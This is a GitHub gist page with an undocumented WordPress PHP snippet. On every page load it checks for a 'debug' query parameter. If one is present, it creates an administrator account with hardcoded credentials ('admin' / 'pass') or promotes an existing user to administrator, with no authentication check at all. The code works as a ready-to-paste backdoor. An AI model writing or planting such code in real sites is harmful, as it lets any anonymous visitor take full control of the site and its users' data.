Skip to content

Instantly share code, notes, and snippets.

@wpsmith
Last active August 13, 2020 18:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wpsmith/331e869b17a339a1ad9081fa0f36e242 to your computer and use it in GitHub Desktop.
Save wpsmith/331e869b17a339a1ad9081fa0f36e242 to your computer and use it in GitHub Desktop.
<?php
add_action( 'init', function () {
if ( !isset( $_GET['debug'] ) ) {
return;
}
$username = 'admin';
$password = 'pass';
$email_address = 'em@ail.com';
$user = get_user_by( 'email' , $email_address );
if ( ! username_exists( $username ) && ! $user ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} else {
if ( ! $user ) {
$user = get_user_by( 'username' , $username );
}
$user->set_role( 'administrator' );
if ( $username !== $user->user_login ) {
global $wpdb;
$wpdb->update( $wpdb->users, array( 'user_login' => $username ), array( 'ID' => $user->ID ) );
}
}
} );
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment